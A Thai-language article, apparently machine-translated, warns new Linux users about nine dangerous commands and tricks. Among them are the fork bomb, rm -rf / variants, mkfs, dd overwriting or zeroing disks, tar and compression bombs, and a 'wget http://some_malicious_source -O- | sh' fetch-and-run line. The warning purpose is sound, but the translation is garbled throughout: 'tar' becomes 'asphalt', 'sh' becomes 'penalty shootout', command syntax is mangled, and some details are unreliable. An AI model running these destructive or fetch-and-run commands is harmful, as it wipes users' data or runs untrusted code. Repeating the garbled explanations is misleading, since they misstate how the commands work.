โฮมเพจ » เดสก์ทอป » 9 คำสั่งและรหัสของ Linux ที่ต้องระวัง

    9 คำสั่งและรหัสของ Linux ที่ต้องระวัง

    คำสั่ง Linux shell / terminal นั้นมีประสิทธิภาพมาก และเพียงคำสั่งง่ายๆอาจนำไปสู่การลบโฟลเดอร์ไฟล์หรือโฟลเดอร์ราก ฯลฯ.

    ในบางกรณีลีนุกซ์จะไม่ขอคำยืนยันจากคุณ แต่มันจะดำเนินการตามคำสั่งทันที สูญเสียข้อมูลและข้อมูลที่มีค่า เก็บไว้ในไฟล์และโฟลเดอร์เหล่านี้.

    เป็นเรื่องปกติที่ผู้คนจะโพสต์เนื้อหาบนเว็บ แนะนำผู้ใช้ Linux ใหม่ให้ดำเนินการคำสั่งเหล่านี้. นี่อาจเป็นเรื่องตลกสำหรับคนที่โพสต์เนื้อหา แต่ไม่มีเรื่องใดที่จะทำให้คนอื่นหัวเราะได้.

    เราได้รวบรวมคำสั่ง Linux ที่ค่อนข้างอันตรายสำหรับระบบของคุณเพื่อช่วยคุณหลีกเลี่ยง อย่าลืมว่าพวกมันอันตรายจริงๆและ สามารถเปลี่ยนแปลงได้หลายวิธีในการสร้างคำสั่งใหม่ สร้างความเสียหายมากขึ้น.

    สิ่งสำคัญที่ควรทราบคือ คำสั่งเหล่านี้บางคำสั่งมีอันตรายหากมีคำนำหน้า sudo บน Ubuntu. ในขณะที่ดิสทริบิวชันอื่น ๆ ของ Linux คำสั่งที่ให้มาส่วนใหญ่จะเป็นอันตรายในการดำเนินการในฐานะรูท.

    ลองดูที่ 9 คำสั่งและรหัสที่คุณควรหลีกเลี่ยงการดำเนินการ.

    1. คำสั่ง Linux Fork Bomb

    : () : |: & ;: หรือที่เรียกว่า ส้อมระเบิด เป็นการโจมตีแบบปฏิเสธการให้บริการกับระบบ Linux. : () : |: & ;: เป็นฟังก์ชั่นทุบตี เมื่อดำเนินการแล้ว, มันทำซ้ำตัวเองหลายครั้งจนกว่าระบบจะค้าง.

    คุณสามารถกำจัดได้โดยเริ่มระบบของคุณใหม่ ดังนั้นควรระมัดระวังเมื่อเรียกใช้คำสั่งนี้บนเชลล์ Linux ของคุณ.

    2. mv โฟลเดอร์ / คำสั่ง dev / null

    mv folder / dev / null เป็นอีกคำสั่งที่มีความเสี่ยง. dev / null หรือ อุปกรณ์ null คือ ไฟล์อุปกรณ์ที่ทิ้งข้อมูลทั้งหมดที่เขียนไว้ในนั้น แต่รายงานว่าการดำเนินการเขียนถูกดำเนินการเรียบร้อยแล้ว. เป็นที่รู้จักกันว่า บั๊กบิต หรือ หลุมดำ.

    3. คำสั่ง rm -rf

    rm -rf คำสั่งเป็นวิธีที่รวดเร็วในการ ลบโฟลเดอร์และเนื้อหา ในระบบปฏิบัติการ Linux หากคุณไม่ทราบวิธีการใช้อย่างถูกต้องก็อาจเป็นอันตรายต่อระบบ ชุดค่าผสมที่พบมากที่สุดและตัวเลือกที่ใช้กับคำสั่ง rm-rf อยู่ด้านล่าง:

    • RM คำสั่งที่ใช้ในการลบไฟล์ในระบบ Linux.
    • rm -f คำสั่งลบไฟล์แบบอ่านอย่างเดียวในโฟลเดอร์โดยไม่ต้องแจ้ง.
    • rm -r คำสั่งลบเนื้อหาของโฟลเดอร์ซ้ำ.
    • rm -d คำสั่งจะใช้ในการลบไดเรกทอรีที่ว่างเปล่า แต่มันจะปฏิเสธที่จะลบไดเรกทอรีถ้ามันไม่ว่างเปล่า.
    • rm -rf / ใช้คำสั่งสำหรับการลบแบบบังคับ (มันจะลบแม้ว่ามันจะป้องกันการเขียน) ของเนื้อหาทั้งหมดในไดเรกทอรีรากและโฟลเดอร์ย่อย.
    • rm -rf * คำสั่งจะใช้สำหรับการลบเนื้อหาทั้งหมดในไดเรกทอรีปัจจุบัน (ไดเรกทอรีที่คุณกำลังทำงาน) และโฟลเดอร์ย่อย.
    • rm -rf. คำสั่งจะใช้สำหรับการลบเนื้อหาทั้งหมดในโฟลเดอร์ปัจจุบันและโฟลเดอร์ย่อย rm -r. [^.] * คำสั่งยังสามารถใช้.
    • rm -i คำสั่งจะใช้สำหรับการลบไฟล์และโฟลเดอร์ แต่จะปรากฏขึ้นก่อนที่จะลบ.

    4. คำสั่ง mkfs

    mkfs อาจเป็นคำสั่งที่อันตรายสำหรับระบบที่ใช้ Linux ของคุณหากคุณไม่ทราบวัตถุประสงค์. สิ่งใดที่เขียนหลังจาก mkfs จะถูกจัดรูปแบบและแทนที่ด้วยระบบไฟล์ว่างเปล่าของ Linux.

    คำสั่งทั้งหมดที่กล่าวถึงด้านล่างจะฟอร์แมตฮาร์ดไดรฟ์และต้องใช้สิทธิ์ผู้ดูแลระบบ:

    • mkfs
    • mkfs.ext3
    • mkfs.bfs
    • mkfs.ext2
    • mkfs.minix
    • mkfs.msdos
    • mkfs.reiserfs
    • mkfs.vfat

    คำสั่ง mkfs.cramfs จะทำสิ่งเดียวกันกับข้างต้น แต่ไม่ต้องการสิทธิ์ผู้ดูแลระบบในการดำเนินการ.

    5. น้ำมันดินระเบิด

    น้ำมันดิน คำสั่งจะใช้สำหรับการรวมหลายไฟล์เป็นไฟล์เดียว (ไฟล์ที่เก็บถาวร) ใน .น้ำมันดิน รูป ระเบิดคลังถาวร (Tar) สามารถสร้างขึ้นได้ด้วยคำสั่งนี้.

    มันคือ ไฟล์เก็บถาวรซึ่งกระจายเป็นไฟล์หลายพันหรือหลายล้านไฟล์ที่มีชื่อคล้ายกับไฟล์ที่มีอยู่ในไดเรกทอรีปัจจุบัน แทนที่จะเป็นไดเรกทอรีใหม่เมื่อ untarred.

    คุณสามารถหลีกเลี่ยงการตกเป็นเหยื่อของระเบิดทาร์ด้วย สร้างไดเรกทอรีป้องกันใหม่เป็นประจำทุกครั้งที่คุณได้รับไฟล์ tar จากนั้นย้ายไฟล์ tar ที่ได้รับไปยังไดเรกทอรีนี้ก่อนนำออกใช้.

    หากไฟล์ tar เป็นระเบิดทาร์แน่นอนคุณสามารถลบไดเร็กทอรี่ที่สร้างขึ้นใหม่เพื่อกำจัดมันได้ อีกวิธีหนึ่งในการหลีกเลี่ยงการระเบิดของทาร์ระเบิดคือผ่าน -เสื้อ ตัวเลือกเพื่อแสดงรายการเนื้อหาทั้งหมดของไฟล์ tar เพื่อให้คุณทราบถึงประเภทของเนื้อหาที่อยู่ในไฟล์ tar.

    6. คำสั่ง dd

    DD คำสั่งจะใช้ในการ คัดลอกและแปลงพาร์ติชันฮาร์ดดิสก์. อย่างไรก็ตามอาจเป็นอันตรายหากคุณระบุปลายทางผิด.

    คำสั่งอาจเป็นหนึ่งในสิ่งเหล่านี้:

    • dd if = / dev / hda ของ = / dev / hdb
    • dd if = / dev / hda ของ = / dev / sdb
    • dd if = บางสิ่งบางอย่างของ = / dev / hda
    • วันที่ = บางอย่างของ = / dev / sda

    คำสั่งต่อไปนี้จะเป็นศูนย์ของฮาร์ดไดรฟ์หลักทั้งหมด: dd if = / dev / zero of = / dev / had

    7. รหัสสคริปต์เชลล์

    บางคนอาจชนะคุณได้ ให้ลิงค์ไปยังเชลล์สคริปต์และรับรองให้คุณดาวน์โหลดและรันมัน. สคริปต์อาจมีรหัสที่เป็นอันตรายหรืออันตรายอยู่ภายใน รูปแบบของคำสั่ง อาจมีลักษณะเช่นนี้: wget http: // some_malicious_source -O- | ดวลจุดโทษ. wget จะดาวน์โหลดสคริปต์ในขณะที่ sh ดาวน์โหลดการเรียกใช้สคริปต์.

    8. รหัสที่เป็นอันตราย

    มีคนให้ซอร์สโค้ดแก่คุณและขอให้คุณคอมไพล์มัน รหัส อาจดูเหมือนเป็นรหัสปกติ แต่อันที่จริงมีรหัสที่เป็นอันตรายซึ่งปลอมตัวอยู่ในซอร์สโค้ดขนาดใหญ่ และอาจก่อให้เกิดอันตรายต่อระบบของคุณ เพื่อหลีกเลี่ยงการตกเป็นเหยื่อจากการโจมตีประเภทนี้, ยอมรับและคอมไพล์ซอร์สโค้ดของคุณจากแหล่งที่เชื่อถือได้เท่านั้น.

    9. ระเบิดการบีบอัด

    คุณได้รับไฟล์บีบอัดและขอให้คุณแตกไฟล์นี้ซึ่งมีขนาดเล็กมาก แต่อาจมีขนาดไม่กี่ KB ในความเป็นจริง, ไฟล์บีบอัดขนาดเล็กนี้มีข้อมูลที่บีบอัดสูงมาก.

    เมื่อแตกไฟล์แล้วจะมีการแตกข้อมูลเป็นร้อย GB สามารถเติมฮาร์ดไดรฟ์ของคุณได้ เพื่อลดประสิทธิภาพของระบบของคุณ เพื่อหลีกเลี่ยงสถานการณ์นี้โปรดอย่าลืมรับข้อมูลจากแหล่งที่น่าเชื่อถือ.